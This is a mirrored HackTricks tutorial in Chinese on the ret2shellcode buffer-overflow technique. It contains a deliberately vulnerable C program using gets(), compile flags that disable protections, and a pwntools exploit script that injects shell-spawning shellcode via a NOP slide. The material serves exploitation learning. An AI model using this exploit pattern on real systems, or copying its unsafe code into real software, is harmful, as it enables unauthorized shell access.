mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
4.6 KiB
4.6 KiB
Ret2Shellcode
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter上关注我们 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
基本信息
Ret2shellcode是二进制利用中使用的一种技术,攻击者将shellcode写入一个存在漏洞的程序的栈中,然后修改指令指针(IP)或扩展指令指针(EIP),使其指向该shellcode的位置,从而执行该shellcode。这是一种经典方法,用于在目标系统上获取未经授权的访问权限或执行任意命令。以下是该过程的详细说明,包括一个简单的C示例以及如何使用pwntools在Python中编写相应的利用程序。
C示例:一个存在漏洞的程序
让我们从一个简单的存在漏洞的C程序示例开始:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
这个程序由于使用了gets()
函数而容易受到缓冲区溢出的影响。
编译
要编译这个程序并禁用各种保护措施(模拟一个有漏洞的环境),可以使用以下命令:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: 禁用堆栈保护。-z execstack
: 使堆栈可执行,这对于在堆栈上执行存储的 shellcode 是必要的。-no-pie
: 禁用位置无关可执行文件,使得更容易预测 shellcode 将位于的内存地址。-m32
: 将程序编译为 32 位可执行文件,通常用于简化利用开发。
使用 Pwntools 编写 Python 攻击
以下是如何使用 pwntools 在 Python 中编写一个攻击来执行 ret2shellcode 攻击:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
这个脚本构建了一个由NOP滑动、shellcode组成的有效载荷,然后用指向NOP滑动的地址覆盖EIP,确保shellcode被执行。
NOP滑动 (asm('nop')
) 用于增加执行进入我们的shellcode的机会,无论确切地址如何。调整p32()
参数到缓冲区起始地址加上一个偏移量,以落入NOP滑动中。
保护措施
- ASLR 应该被禁用,以确保地址在不同执行中可靠,否则函数存储的地址不会始终相同,你需要一些泄漏来找出win函数加载的位置。
- 栈保护 也应该被禁用,否则受损的EIP返回地址将不会被跟随。
- NX 栈 保护会阻止在栈内执行shellcode,因为该区域不可执行。